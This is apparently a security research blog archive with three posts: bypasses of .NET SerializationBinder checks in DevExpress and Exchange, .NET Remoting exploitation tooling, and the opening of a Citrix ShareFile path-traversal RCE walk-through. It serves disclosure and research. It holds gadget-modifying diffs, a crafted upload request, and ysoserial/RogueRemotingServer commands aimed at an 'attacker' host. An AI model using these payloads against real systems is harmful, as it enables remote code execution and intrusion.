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Bypassing .NET Serialization Binders

28 June 2022 at 14:00

Serialization binders are often used to validate types specified in the serialized data to prevent the deserialization of dangerous types that can have malicious side effects with the runtime serializers such as the BinaryFormatter.

In this blog post we'll have a look into cases where this can fail and consequently may allow to bypass validation. We'll also walk though two real-world examples of insecure serialization binders in the DevExpress framework (CVE-2022-28684) and Microsoft Exchange (CVE-2022-23277), that both allow remote code execution.

Introduction

Type Names

Type names are used to identify .NET types. In the fully qualified form (also known as assembly qualified name, AQN), it also contains the information on the assembly the type should be loaded from. This information comprises of the assembly's name as well as attributes specifying its version, culture, and a token of the public key it was signed with. Here is an (extensive) example of such an assembly qualified name:

System.Collections.Concurrent.ConcurrentBag`1+ListOperation[
[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]
]
,
System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089

This assembly qualified name comprises of two parts with several components:

  • Assembly Qualified Name (AQN)
    • Type Full Name
      • Namespace
      • Type Name
      • Generic Type Parameters Indicator
      • Nested Type Name
      • Generic Type Parameters
      • Embedded Type AQN (EAQN)
    • Assembly Full Name
      • Assembly Name
      • Assembly Attributes

You can see that the same breakdown can also be applied to the embedded type's AQN. For simplicity, the type info will be referred to as type name and the assembly info will be referred to as assembly name as these are the general terms used by .NET and thus also within this post.

The assembly and type information are used by the runtime to locate and bind the assembly. That software component is also sometimes referred to as the CLR Binder.

Serialization Binders

In its original intent, a SerializationBinder was supposed to work just like the runtime binder but only in the context of serialization/deserialization with the BinaryFormatter, SoapFormatter, and NetDataContractSerializer:

Some users need to control which class to load, either because the class has moved between assemblies or a different version of the class is required on the server and client. β€” SerializationBinder Class

For that, a SerializationBinder provides two methods:

  • public virtual void BindToName(Type serializedType, out string assemblyName, out string typeName);
  • public abstract Type BindToType(string assemblyName, string typeName);

The BindToName gets called during serialization and allows to control the assemblyName and typeName values that get written to the serialized stream. On the other side, the BindToType gets called during deserialization and allows to control the Type being returned depending on the passed assemblyName and typeName that were read from the serialized stream. As the latter method is abstract, derived classes would need provide their own implementation of that method.

During the time .NET deserialization issues rose in 2017, the remark "SerializationBinder can also be used for security" was added to the SerializationBinder documentation. Later in 2020, that remark has been changed to the exact opposite:

That is probably why developers (mis-)use them as a security measure to prevent the deserialization of malicious types. And it is still widely used, even though those serializers have already been disapproved for obvious reasons.

But using a SerializationBinder for validating the type to be deserialized can be tricky and has pitfalls that may allow to bypass the validation depending on how it is implemented.

What could possibly go wrong?

For validating the specified type, developers can either

  1. work solely on the string representations of the specified assembly name and type name, or
  2. try to resolve the specified type and then work with the returned Type.

Each of these strategies has its own advantages and disadvantages.

Advantages/Disadvantages of Validation Before/After Type Binding

The advantage of the former is that type resolving is cost intensive and hence some advise against it to prevent a possible denial of service attacks.

On the other hand, however, the type name parsing is not that straight forward and the internal type parser/binder of .NET allows some unexpected quirks:

  • whitespace characters (i. e., U+0009, U+000A, U+000D, U+0020) are generally ignored between tokens, in some cases even further characters
  • type names can begin with a "." (period), e. g., .System.Data.DataSet
  • assembly names are case-insensitive and can be quoted, e. g., MsCoRlIb and "mscorlib"
  • assembly attribute values can be quoted, even improperly, e. g., PublicKeyToken="b77a5c561934e089" and PublicKeyToken='b77a5c561934e089
  • .NET Framework assemblies often only require the PublicKey/PublicKeyToken attribute, e. g., System.Data.DataSet, System.Data, PublicKey=00000000000000000400000000000000 or System.Data.DataSet, System.Data, PublicKeyToken=b77a5c561934e089
  • assembly attributes can be in arbitrary order, e. g., System.Data, PublicKeyToken=b77a5c561934e089, Culture=neutral, Version=4.0.0.0
  • arbitrary additional assembly attributes are allowed, e. g., System.Data, Foo=bar, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, Baz=quux
  • assembly attributes can consist of almost arbitrary data (supported escape sequences: \", \', \,, \/, \=, \\, \n, \r, and \t)

This renders detecting known dangerous types based on their name basically impractical, which, by the way, is always a bad idea. Instead, only known safe types should be allowed and anything else should result in an exception being thrown.

In contrast to that, resolving the type before validation would allow to work with a normalized form of the type. But type resolution/binding may also fail. And depending on how the custom SerializationBinder handles such cases, it can allow attackers to bypass validation.

SerializationBinder Usages

If you keep in mind that the SerializationBinder was supposedly never meant to be used as a security measure (otherwise it would probably have been named SerializationValidator or similar), it gets more clear if you see how it is actually used by the BinaryFormatter, SoapFormatter, and NetDataContractSerializer:

  • System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.ObjectReader.Bind(string, string)
  • System.Runtime.Serialization.Formatters.Soap.SoapFormatter.ObjectReader.Bind(string, string)
  • System.Runtime.Serialization.XmlObjectSerializerReadContextComplex.ResolveDataContractTypeInSharedTypeMode(string, string, out Assembly)

Let's have a closer look at the first one, ObjectReader.Bind(string, string) used by BinaryFormatter:

Here you can see that if the SerializationBinder.BindToType(string, string) call returns null, the fallback ObjectReader.FastBindToType(string, string) gets called.

Here, if the BinaryFormatter uses FormatterAssemblyStyle.Simple (i. e., bSimpleAssembly == true, which is the default for BinaryFormatter), then the specified assembly name is used to create an AssemblyName instance and it is then attempted to load the corresponding assembly with it. This must succeed, otherwise ObjectReader.FastBindToType(string, string) immediately returns with null. It is then tried to load the specified type with ObjectReader.GetSimplyNamedTypeFromAssembly(Assembly, string, ref Type).

This method first calls FormatterServices.GetTypeFromAssembly(Assembly, string) that tries to load the type from the already resolved assembly using Assembly.GetType(string) (not depicted here). But if that fails, it uses Type.GetType(string, Func<AssemblyName, Assembly>, Func<Assembly, string, bool, Type>, bool) with the specified type name as first parameter. Now if the specified type name happens to be a AQN, the type loading succeeds and it returns the type specified by the AQN regardless of the already loaded assembly.

That means, unless the custom SerializationBinder.BindToType(string, string) implementation uses the same algorithm as the ObjectReader.FastBindToType(string, string) method, it might be possible to get the custom SerializationBinder to fail while the ObjectReader.FastBindToType(string, string) still succeeds. And if the custom SerializationBinder.BindToType(string, string) method does not throw an exception on failure but silently returns null instead, it would also allow to bypass any type validation implemented in SerializationBinder.BindToType(string, string).

This behavior already mentioned in Jonathan Birch's Dangerous Contents - Securing .Net Deserialization in 2017:

Don't return null for unexpected types – this makes some serializers fall back to a default binder, allowing exploits.

Origin of the Assembly Name and Type Name

The assembly name and type name values passed to the SerializationBinder.BindToType(string, string) during deserialization originate from the serialized stream: the assembly name is read by BinaryAssembly.Read(__BinaryParser) and the type name by BinaryObjectWithMapTyped.Read(__BinaryParser).

On the serializing side, these values are written to the stream by BinaryAssembly.Write(__BinaryWrite) and BinaryObjectWithMapTyped.Write(__BinaryWriter). The written values originate from an SerObjectInfoCache instance, which are set in the two available constructors:

In the latter case, the assembly name and type name are obtained from the TypeInformation returned by BinaryFormatter.GetTypeInformation(Type). In the former case, however, the assembly name and type name are adopted from the SerializationInfo instance filled during serialization if the assembly name or type name was set explicitly via SerializationInfo.AssemblyName and SerializationInfo.FullTypeName, respectively.

That means, besides using SerializationInfo.SetType(Type), it is also possible to set the assembly name and type name explicitly and independently as strings by using SerializationInfo.AssemblyName and SerializationInfo.FullTypeName:


[Serializable]
class Marshal : ISerializable
{
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.AssemblyName = "…";
info.FullTypeName = "…";
}
}

There is also another and probably more convenient way to specify an arbitrary assembly name and type name by using a custom SerializationBinder during serialization:


class CustomSerializationBinder : SerializationBinder
{
public override void BindToName(Type serializedType, out string assemblyName, out string typeName)
{
assemblyName = "…";
typeName = "…";
}

public override Type BindToType(string assemblyName, string typeName)
{
throw new NotImplementedException();
}
}

This allows to fiddle with all assembly names and type names that are used within the object graph to be serialized.

Common Pitfalls of Custom SerializationBinders

There are two common pitfalls that can render a SerializationBinder bypassable:

  1. parsing the passed assembly name and type name differently than the .NET runtime does
  2. resolving the specified type differently than the .NET runtime does

We will demonstrate these with two case studies: the DevExpress framework (CVE-2022-28684) and Microsoft Exchange (CVE-2022-23277).

Case Study β„– 1: SafeSerializationBinder in DevExpress (CVE-2022-28684)

Despite its name, the DevExpress.Data.Internal.SafeSerializationBinder class of DevExpress.Data is not really a SerializationBinder. But its Ensure(string, string) method is used by the DXSerializationBinder.BindToType(string, string) method to check for safe and unsafe types.

It does this by checking the assembly name and type name against a list of known unsafe types (i. e., UnsafeTypes class) and known safe types (i. e., KnownTypes class). To pass the validation, the former must not match while the latter must match as both XtraSerializationSecurityTrace.UnsafeType(string, string) and XtraSerializationSecurityTrace.NotTrustedType(string, string) result in an exception being thrown.

The check in each Match(string, string) method comprises of a match against so called type ranges and several full type names.

A type range is basically a pair of assembly name and namespace prefix that the passed assembly name and type name are tested against.

Here is the definition of UnsafeTypes.typeRanges that UnsafeTypes.Match(string, string) tests against:

And here UnsafeTypes.types:

This set basically comprises the types used in public gadgets such as those of YSoSerial.Net.

Remember that SafeSerializationBinder.Ensure(string, string) does not resolve the specified type but only works on the assembly names and type names read from the serialized stream. The type binding/resolution attempt happens after the string-based validation in DXSerializationBinder.BindToType(string, string) where Assembly.GetType(string, bool) is used to load the specified type from the specified assembly but without throwing an exception on error (i. e., the passed false).

We'll demonstrate how a System.Data.DataSet can be used to bypass validation in SafeSerializationBinder.Ensure(string, string) despite it is contained in UnsafeTypes.types.

As DXSerializationBinder.BindToType(string, string) can return null in two cases (assembly == null or Assembly.GetType(string, bool) returns null), it is possible to craft the assembly name and type name pair that does fail loading while the fallback ObjectReader.FastBindToType(string, string) still returns the proper type.

In the first attempt, we'll update the ISerializable.GetObjectData(SerializationInfo, StreamingContext) implementation of the DataSet gadget of YSoSerial.Net so that the assembly name is mscorlib and the type name the AQN of System.Data.DataSet:


diff --git a/ysoserial/Generators/DataSetGenerator.cs b/ysoserial/Generators/DataSetGenerator.cs
index ae4beb8..1755e62 100644
--- a/ysoserial/Generators/DataSetGenerator.cs
+++ b/ysoserial/Generators/DataSetGenerator.cs
@@ -62,7 +62,8 @@ namespace ysoserial.Generators

public void GetObjectData(SerializationInfo info, StreamingContext context)
{
- info.SetType(typeof(System.Data.DataSet));
+ info.AssemblyName = "mscorlib";
+ info.FullTypeName = typeof(System.Data.DataSet).AssemblyQualifiedName;
info.AddValue("DataSet.RemotingFormat", System.Data.SerializationFormat.Binary);
info.AddValue("DataSet.DataSetName", "");
info.AddValue("DataSet.Namespace", "");

With a breakpoint at DXSerializationBinder.BindToType(string, string), we'll see that the first call to SafeSerializationBinder.Ensure(string, string) gets passed. This is because we use the AQN of System.Data.DataSet as type name while UnsafeTypes.types only contains the full name System.Data.DataSet instead. And as the pair of assembly name mscorlib and type name prefix System. is contained in KnownTypes.typeRanges, it will pass validation.

But now the assembly name and type name are passed to SafeSerializationBinder.EnsureAssemblyQualifiedTypeName(string, string):

That method probably tries to extract the type name and assembly name from an AQN passed in the typeName. It does this by looking for the last position of , in typeName and whether the part behind that position starts with version=. If that's not the case, the loop looks for the second last, then the third last, and so on. If version= was found, the algorithm assumes that the next iteration would also contain the assembly name (remember, the version is the first assembly attribute in the normalized form), flag gets set to true and in the next loop the position of the preceeding , marks the delimiter between the type name and assembly name. At the end, the passed assemblyName value stored in a and the extracted assemblyName values get compared. If they differ, true gets returned an the extracted assembly name and type name are checked by another call to SafeSerializationBinder.Ensure(string, string).

With our AQN passed as type name, SafeSerializationBinder.EnsureAssemblyQualifiedTypeName(string, string) extracts the proper values so that the call to SafeSerializationBinder.Ensure(string, string) throws an exception. That didn't work.

So in what cases does SafeSerializationBinder.EnsureAssemblyQualifiedTypeName(string, string) return false so that the second call to SafeSerializationBinder.Ensure(string, string) does not happen?

There are five return statements: three always return false (lines 28, 36, and 42) and the other two only return false when the passed assemblyName value equals the extracted assembly name (lines 21 and 51).

Let's first look at those always returning false: in two cases (line 28 and 42), the condition depends on whether the typeName contains a ] after the last ,. We can achieve that by adding a custom assembly attribute to our AQN that contains a ], which is perfectly valid:


diff --git a/ysoserial/Generators/DataSetGenerator.cs b/ysoserial/Generators/DataSetGenerator.cs
index ae4beb8..1755e62 100644
--- a/ysoserial/Generators/DataSetGenerator.cs
+++ b/ysoserial/Generators/DataSetGenerator.cs
@@ -62,7 +62,8 @@ namespace ysoserial.Generators

public void GetObjectData(SerializationInfo info, StreamingContext context)
{
- info.SetType(typeof(System.Data.DataSet));
+ info.AssemblyName = "mscorlib";
+ info.FullTypeName = typeof(System.Data.DataSet).AssemblyQualifiedName + ", x=]";
info.AddValue("DataSet.RemotingFormat", System.Data.SerializationFormat.Binary);
info.AddValue("DataSet.DataSetName", "");
info.AddValue("DataSet.Namespace", "");

Now the SafeSerializationBinder.EnsureAssemblyQualifiedTypeName(string, string) returns false without updating the typeName or assemblyName values. Loading the mscorlib assembly will succeed but the specified DataSet type won't be found in it so that DXSerializationBinder.BindToType(string, string) also returns null and the ObjectReader.FastBindToType(string, string) attempts to load the type, which finally succeeds.

Case Study β„– 2: ChainedSerializationBinder in Exchange Server (CVE-2022-23277)

After my colleage @frycos published his story on Searching for Deserialization Protection Bypasses in Microsoft Exchange (CVE-2022–21969), I was curious whether it was possible to still bypass the security measures implemented in the Microsoft.Exchange.Diagnostics.ChainedSerializationBinder class.

The ChainedSerializationBinder is used for a BinaryFormatter instance created by Microsoft.Exchange.Diagnostics.ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation, bool, string[], string[]) to resolve the specified type and then test it against a set of allowed and disallowed types to abort deserialization in case of a violation.

Within the ChainedSerializationBinder.BindToType(string, string) method, the passed assembly name and type name parameters are forwarded to InternalBindToType(string, string) (not depicted here) and then to LoadType(string, string). Note that only if the type was loaded successfully, it gets validated using the ValidateTypeToDeserialize(Type) method.

Inside LoadType(string, string), it is attempted to load the type by combining both values in various ways, either via Type.GetType(string) or by iterating the already loaded assemblies and then using Assembly.GetType(string) on it. If loading of the type fails, LoadType(string, string) returns null and then BindToType(string, string) also returns null while the validation via ValidateTypeToDeserialize(Type) only happens if the type was successfully loaded.

When the ChainedSerializationBinder.BindToType(string, string) method returns to the ObjectReader.Bind(string, string) method, the fallback method ObjectReader.FastBindToType(string, string) gets called for resolving the type. Now as ChainedSerializationBinder.BindToType(string, string) uses a different algorithm to resolve the type than ObjectReader.FastBindToType(string, string) does, it is possible to bypass the validation of ChainedSerializationBinder via the aforementioned tricks.

Here either of the two ways (a custom marshal class or a custom SerializationBinder during serialization) do work. The following demonstrates this with System.Data.DataSet:

Conclusion

The insecure serializers BinaryFormatter, SoapFormatter, and NetDataContractSerializer should no longer be used and legacy code should be migrated to the preferred alternatives.

If you happen to encounter a SerializationBinder, check how the type resolution and/or validation is implemented and whether BindToType(string, string) has a case that returns null so that the fallback ObjectReader.FastBindToType(string, string) may get a chance to resolve the type instead.

.NET Remoting Revisited

27 January 2022 at 14:49

.NET Remoting is the built-in architecture for remote method invocation in .NET. It is also the origin of the (in-)famous BinaryFormatter and SoapFormatter serializers and not just for that reason a promising target to watch for.

This blog post attempts to give insights into its features, security measures, and especially its weaknesses/vulnerabilities that often result in remote code execution. We're also introducing major additions to the ExploitRemotingService tool, a new ObjRef gadget for YSoSerial.Net, and finally a RogueRemotingServer as counterpart to the ObjRef gadget.

If you already understand the internal of .NET Remoting, you may skip the introduction and proceed right with Security Features, Pitfalls, and Bypasses.

Introduction

.NET Remoting is deeply integrated into the .NET Framework and allows invocation of methods across so called remoting boundaries. These can be different app domains within a single process, different processes on the same computer, or different processes on different computers. Supported transports between the client and server are HTTP, IPC (named pipes), and TCP.

Here is a simple example for illustration: the server creates and registers a transport server channel and then registers the class as a service with a well-known name at the server's registry:

var channel = new TcpServerChannel(12345);
ChannelServices.RegisterChannel(channel);
RemotingConfiguration.RegisterWellKnownServiceType(
typeof(MyRemotingClass),
"MyRemotingClass"
);

Then a client just needs the URL of the registered service to do remoting with the server:

var remote = (MyRemotingClass)RemotingServices.Connect(
typeof(MyRemotingClass),
"tcp://remoting-server:12345/MyRemotingClass"
);

With this, every invocation of a method or property accessor on remote gets forwarded to the remoting server, executed there, and the result gets returned to the client. This all happens transparently to the developer.

And although .NET Remoting has already been deprecated with the release of .NET Framework 3.0 in 2009 and is no longer available on .NET Core and .NET 5+, it is still around, even in contemporary enterprise level software products.

Remoting Internals

If you are interested in how .NET Remoting works under the hood, here are some insights.

In simple terms: when the client connects to the remoting object provided by the server, it creates a RemotingProxy that implements the specified type MyRemotingClass. All method invocations on remote at the client (except for GetType() and GetHashCode()) will get sent to the server as remoting calls. When a method gets invoked on remote, the proxy creates a MethodCall object that holds the information of the method and passed parameters. It is then passed to a chain of sinks that prepare the MethodCall and handle the remoting communication with the server over the given transport.

On the server side, the received request is also passed to a chain of sinks that reverses the process, which also includes deserialization of the MethodCall object. It ends in a dispatcher sink, which invokes the actual implementation of the method with the passed parameters. The result of the method invocation is then put in a MethodResponse object and gets returned to the client where the client sink chain deserializes the MethodResponse object, extracts the returned object and passes it back to the RemotingProxy.

Channel Sinks

When the client or server creates a channel (either explicitly or implicitly by connecting to a remote service), it also sets up a chain of sinks for processing outgoing and incoming requests. For the server chain, the first sink is a transport sink, followed by formatter sinks (this is where the BinaryFormatter and SoapFormatter are used), and ending in the dispatch sink. It is also possible to add custom sinks. For the three transports, the server default chains are as follows:

  • HttpServerChannel:
    HttpServerTransportSink β†’ SdlChannelSink β†’ SoapServerFormatterSink β†’ BinaryServerFormatterSink β†’ DispatchChannelSink
  • IpcServerChannel:
    IpcServerTransportSink β†’ BinaryServerFormatterSink β†’ SoapServerFormatterSink β†’ DispatchChannelSink
  • TcpServerChannel:
    TcpServerTransportSink β†’ BinaryServerFormatterSink β†’ SoapServerFormatterSink β†’ DispatchChannelSink

On the client side, the sink chain looks similar but in reversed order, so first a formatter sink and finally the transport sink:

Note that the default client sink chain has a default formatter for each transport (HTTP uses SOAP, IPC and TCP use binary format) while the default server sink chain can process both formats. The default sink chains are only used if the channel was not created with an explicit IClientChannelSinkProvider and/or IServerChannelSinkProvider.

Passing Parameters and Return Values

Parameter values and return values can be transfered in two ways:

  • by value: if either the type is serializable (cf. Type.IsSerializable) or if there is a serialization surrogate for the type (see following paragraphs)
  • by reference: if type extends MarshalByRefObject (cf. Type.IsMarshalByRef)

In case of the latter, the objects need to get marshaled using one of the RemotingServices.Marshal methods. They register the object at the server's registry and return a ObjRef instance that holds the URL and type information of the marshaled object.

The marshaling happens automatically during serialization by the serialization surrogate class RemotingSurrogate that is used for the BinaryFormatter/SoapFormatter in .NET Remoting (see CoreChannel.CreateBinaryFormatter(bool, bool) and CoreChannel.CreateSoapFormatter(bool, bool)). A serialization surrogate allows to customize serialization/deserialization of specified types.

In case of objects extending MarshalByRefObject, the RemotingSurrogateSelector returns a RemotingSurrogate (see RemotingSurrogate.GetSurrogate(Type, StreamingContext, out ISurrogateSelector)). It then calls the RemotingSurrogate.GetObjectData(Object, SerializationInfo, StreamingContext) method, which calls the RemotingServices.GetObjectData(object, SerializationInfo, StreamingContext), which then calls RemotingServices.MarshalInternal(MarshalByRefObject, string, Type). That basically means, every remoting object extending MarshalByRefObject is substituted with a ObjRef and thus passed by reference instead of by value.

On the receiving side, if an ObjRef gets deserialized by the BinaryFormatter/SoapFormatter, the IObjectReference.GetRealObject(StreamingContext) implementation of ObjRef gets called eventually. That interface method is used to replace an object during deserialization with the object returned by that method. In case of ObjRef, the method results in a call to RemotingServices.Unmarshal(ObjRef, bool), which creates a RemotingProxy of the type and target URL specified in the deserialized ObjRef.

That means, in .NET Remoting all objects extending MarshalByRefObject are passed by reference using an ObjRef. And deserializing an ObjRef with a BinaryFormatter/SoapFormatter (not just limited to .NET Remoting) results in the creation of a RemotingProxy.

With this knowledge in mind, it should be easier to follow the rest of this post.

Previous Work

Most of the issues of .NET Remoting and the runtime serializers BinaryFormatter/SoapFormatter have already been identified by James Forshaw:

We highly encourage you to take the time to read the papers/posts. They are also the foundation of the ExploitRemotingService tool that will be detailed in ExploitRemotingService Explained further down in this post.

Security Features, Pitfalls, and Bypasses

The .NET Remoting is fairly configurable. The following security aspects are built-in and can be configured using special channel and formatter properties:

HTTP Channel IPC Channel TCP Channel
Authentication n/a n/a
  • secure=bool channel property
  • ISecurableChannel.IsSecured (via NegotiateStream; default: false)
Authorization n/a
  • authorizationGroups=Windows/AD Group channel property (default: thread owner is allowed, NT Authority\Network group (SID S-1-5-2) is denied)
  • CommonSecurityDescriptor passed to a IpcServerChannel constructor
custom IAuthorizeRemotingConnection class
  • authorizationModule channel property
  • passed to TcpServerChannel constructor
Impersonation n/a impersonate=bool (default: false) impersonate=bool (default: false)
Conf., Int., Auth. Protection n/a n/a protectionLevel={None, Sign, EncryptAndSign} channel property
Interface Binding n/a n/a rejectRemoteRequests=bool (loopback only, default: false), bindTo=address (specific IP address, default: n/a)

Pitfalls and important notes on these security features:

HTTP Channel
  • No security features provided; ought to be implemented in IIS or by custom server sinks.
IPC Channel
  • By default, access to named pipes created by the IPC server channel are denied to NT Authority\Network group (SID S-1-5-2), i. e., they are only accessible from the same machine. However, by using authorizationGroup, the network restriction is not in place so that the group that is allowed to access the named pipe may also do it remotely (not supported by the default IpcClientTransportSink, though).
TCP Channel
  • With a secure TCP channel, authentication is required. However, if no custom IAuthorizeRemotingConnection is configured for authorization, it is possible to logon with any valid Windows account, including NT Authority\Anonymous Logon (SID S-1-5-7).

ExploitRemotingService Explained

James Forshaw also released ExploitRemotingService, which contains a tool for attacking .NET Remoting services via IPC/TCP by the various attack techniques. We'll try to explain them here.

There are basically two attack modes:

raw
Exploit BinaryFormatter/SoapFormatter deserialization (see also YSoSerial.Net)
all others commands (see -h)
Write a FakeAsm assembly to the server's file system, load a type from it to register it at the server to be accessible via the existing .NET Remoting channel. It is then accessible via .NET Remoting and can perform various commands.

To see the real beauty of his sorcery and craftsmanship, we'll try to explain the different operating options for the FakeAsm exploitation and their effects:

without options
Send a FakeMessage that extends MarshalByRefObject and thus is a reference (ObjRef) to an object on the attacker's server. On deserialization, the victim's server creates a proxy that transparently forwards all method invocations to the attacker's server. By exploiting a TOCTOU flaw, the get_MethodBase() property method of the sent message (FakeMessage) can be adjusted so that even static methods can be called. This allows to call File.WriteAllBytes(string, byte[]) on the victim's machine.
--useser
Send a forged Hashtable with a custom IEqualityComparer by reference that implements GetHashCode(object), which gets called by the victim server on the attacker's server remotely. As for the key, a FileInfo/DirectoryInfo object is wrapped in SerializationWrapper that ensures the attacker's object gets marshaled by value instead of by reference. However, on the remote call of GetHashCode(object), the victim's server sends the FileInfo/DirectoryInfo by reference so that the attacker has a reference to the FileInfo/DirectoryInfo object on the victim.
--uselease
Call MarshalByRefObject.InitializeLifetimeService() on a published object to get an ILease instance. Then call Register(ISponsor) with an MarshalByRefObject object as parameter to make the server call the IConvertible.ToType(Type, IformatProvider) on an object of the attacker's server, which then can deliver the deserialization payload.

Now the problem with the --uselease option is that the remote class needs to return an actual ILease object and not null. This may happen if the virtual MarshalByRefObject.InitializeLifetimeService() method is overriden. But the main principle of sending an ObjRef referencing an object on the attacker's server can be generalized with any method accepting a parameter. That is why we have added the --useobjref to ExploitRemotingService (see also Community Contributions further below):

--useobjref
Call the MarshalByRefObject.GetObjRef(Type) method with an ObjRef as parameter value. Similarly to --uselease, the server calls IConvertible.ToType(Type, IformatProvider) on the proxy, which sends a remoting call to the attacker's server.

Security Measures and Troubleshooting

If no custom errors are enabled and a RemotingException gets returned by the server, the following may help to identify the cause and to find a solution:

Error Reason ExampleRemotingService Options ExploitRemotingService Bypass Options
"Requested Service not found" The URI of an existing remoting service must be known; there is no way to iterate them. n/a --nulluri may work if remoting service has not been servicing any requests yet.
NotSupportedException with link to KB 390633 Disallow received IMessage being MarshalByRefObject (see AppSettings.AllowTransparentProxyMessage) -d --uselease, --useobjref
SecurityException with PermissionSet info Code Access Security (CAS) restricted permissions in place (TypeFilterLevel.Low) -t low --uselease, --useobjref

Community Contributions

Our research on .NET Remoting led to some new insights and discoveries that we want to share with the community. Together with this blog post, we have prepared the following contributions and new releases.

ExploitRemotingService

The ExploitRemotingService is already a magnificent tool for exploiting .NET Remoting services. However, we have made some additions to ExploitRemotingService that we think are worthwhile:

--useobjref option
This newly added option allows to use the ObjRef trick described
--remname option
Assemblies can only be loaded by name once. If that loading fails, the runtime remembers that and avoids trying to load it again. That means, writing the FakeAsm.dll to the target server's file system and loading a type from that assembly must succeed on the first attempt. The problem here is to find the proper location to write the assembly to where it will be searched by the runtime (ExploitRemotingService provides the options --autodir and --installdir=… to specify the location to write the DLL to). We have modified ExploitRemotingService to use the --remname to name the FakeAsm assembly so that it is possible to have multiple attempts of writing the assembly file to an appropriate location.
--ipcserver option
As IPC server channels may be accessible remotely, the --ipcserver option allows to specify the server's name for a remote connection.

YSoSerial.Net

The new ObjRef gadget is basically the equivalent of the sun.rmi.server.UnicastRef class used by the JRMPClient gadget in ysoserial for Java: on deserialization via BinaryFormatter/SoapFormatter, the ObjRef gets transformed to a RemotingProxy and method invocations on that object result in the attempt to send an outgoing remote method call to a specified target .NET Remoting endpoint. This can then be used with the RogueRemotingServer described below.

RogueRemotingServer

The newly released RogueRemotingServer is the counterpart of the ObjRef gadget for YSoSerial.Net. It is the equivalent to the JRMPListener server in ysoserial for Java and allows to start a rogue remoting server that delivers a raw BinaryFormatter/SoapFormatter payload via HTTP/IPC/TCP.

Example of ObjRef Gadget and RogueRemotingServer

Here is an example of how these tools can be used together:


# generate a SOAP payload for popping MSPaint
ysoserial.exe -f SoapFormatter -g TextFormattingRunProperties -o raw -c MSPaint.exe
> MSPaint.soap

# start server to deliver the payload on all interfaces
RogueRemotingServer.exe --wrapSoapPayload http://0.0.0.0/index.html MSPaint.soap

# test the ObjRef gadget with the target http://attacker/index.html
ysoserial.exe -f BinaryFormatter -g ObjRef -o raw -c http://attacker/index.html -t

During deserialization of the ObjRef gadget, an outgoing .NET Remoting method call request gets sent to the RogueRemotingServer, which replies with the TextFormattingRunProperties gadget payload.

Conclusion

.NET Remoting has already been deprecated long time ago for obvious reasons. If you are a developer, don't use it and migrate from .NET Remoting to WCF.

If you have detected a .NET Remoting service and want to exploit it, we'll recommend the excellent ExploitRemotingService by James Forshaw that works with IPC and TCP (for HTTP, have a look at Finding and Exploiting .NET Remoting over HTTP using Deserialisation by Soroush Dalili). If that doesn't succeed, you may want to try it with the enhancements added to our fork of ExploitRemotingService, especially the --useobjref technique and/or naming the FakeAsm assembly via --remname might help. And even if none of these work, you may still be able to invoke arbitrary methods on the exposed objects and take advantage of that.

RCE in Citrix ShareFile Storage Zones Controller (CVE-2021-22941) – A Walk-Through

21 September 2021 at 08:04

Citrix ShareFile Storage Zones Controller uses a fork of the third party library NeatUpload. Versions before 5.11.20 are affected by a relative path traversal vulnerability (CTX328123/CVE-2021-22941) when processing upload requests. This can be exploited by unauthenticated users to gain Remote Code Execution.

Come and join us on a walk-though of finding and exploiting this vulnerability.

Background

Part of our activities here at Code White is to monitor what vulnerabilities are published. These are then assessed to determine their criticality and exploitation potential. Depending on that, we inform our clients about affected systems and may also develop exploits for our offensive arsenal.

In April, Citrix published an advisory that addresses three vulnerabilities in ShareFile Storage Zones Controller (from here on just "ShareFile"). In contrast to a previous patch in the same product, there were no lightweight patches available, which could have been analysed quickly. Instead, only full installation packages were available. So, we downloaded StorageCenter_5.11.18.msi to have a look at it.

The Travelogue

A first glance at the files contained in the .msi file revealed the third party library NeatUpload.dll. We knew that the latest version contains a Padding Oracle vulnerability, and since the NeatUpload.dll file had the same .NET file version number as ShareFile (i. e., 5.11.18), chances were that somebody had reported that very vulnerability to Citrix.

After installation of version 5.11.18 of ShareFile, attaching to the w3wp.exe process with dnSpy and opening the NeatUpload.dll, we noticed that the handler class Brettle.Web.NeatUpload.UploadStateStoreHandler was missing. So, it must have either been removed by Citrix or they used an older version. Judging by the other classes in the library, the version used by ShareFile appeared to share similarities with NeatUpload 1.2 available on GitHub.

So, not a quick win, afterall? As we did not find a previous version of ShareFile such as 5.11.17, that we could use to diff against 5.11.18, we decided to give it a try to look for something in 5.11.18.

Finding A Path From Sink To Source

Since NeatUpload is a file upload handling library, our first attempts were focused around analysing its file handling. Here FileStream was a good candidate to start with. By analysing where that class got instantiated, the first result already pointed directly to a method in NeatUpload, the Brettle.Web.NeatUpload.UploadContext.WritePersistFile() method. Here a file gets written with something that appears to be some kind of metrics of an upload request:

By following the call hierarchy, one eventually ends up in Brettle.Web.NeatUpload.UploadHttpModule.Init(HttpApplication), which is the initialization method for System.Web.IHttpModule:

That method is used to register event handlers that get called during the life cycle of an ASP.NET request. That module is also added to the list of modules in C:\inetpub\wwwroot\Citrix\StorageCenter\web.config:

After verifying that there is a direct path from the UploadHttpModule processing a request to a FileStream constructor, we have to check whether the file path and contents can be controlled. Back in UploadContext.WritePersistFile(), both the file path and contents include the PostBackID property value. By following the call hierarchy of the assignment of the UploadContext.postBackID field that backs that property, there is also a path originating from the UploadHttpModule. In FilteringWorkerRequest.ParseOrThrow(), the return value of a FieldNameTranslator.FileFieldNameToPostBackID(string) call ends up in the assignment of that field:

The condition of that if branch is that text5 and text4 are set and that FieldNameTranslator.FileFieldNameToPostBackID(string) returns a value for text4. text5 originates from the filename attribute of a Content-Disposition multi-part header and text4 from its name attribute (see lines 514–517). That means, the request must be a multipart message with one part having a header like this:

Content-Disposition: form-data; name="text4"; filename="text5"

As for text6, the FieldNameTranslator.FileFieldNameToPostBackID(string) method call either returns the value of the FieldNameTranslator.PostBackID field if present:

By following the assignment of that FieldNameTranslator.PostBackID field, it becomes clear that the internal constructor of FieldNameTranslator takes it from a request query string parameter:

So, let's summarize our knowledge of the HTTP request requirements so far:

POST /default.aspx?foo HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary="boundary"
Content-Length: 94

--boundary
Content-Disposition: form-data; name="text4"; filename="text5"


--boundary--

The request path and query string are not yet known, so we'll simply use dummies. This works because HTTP modules are not bound to paths like HTTP handlers are.

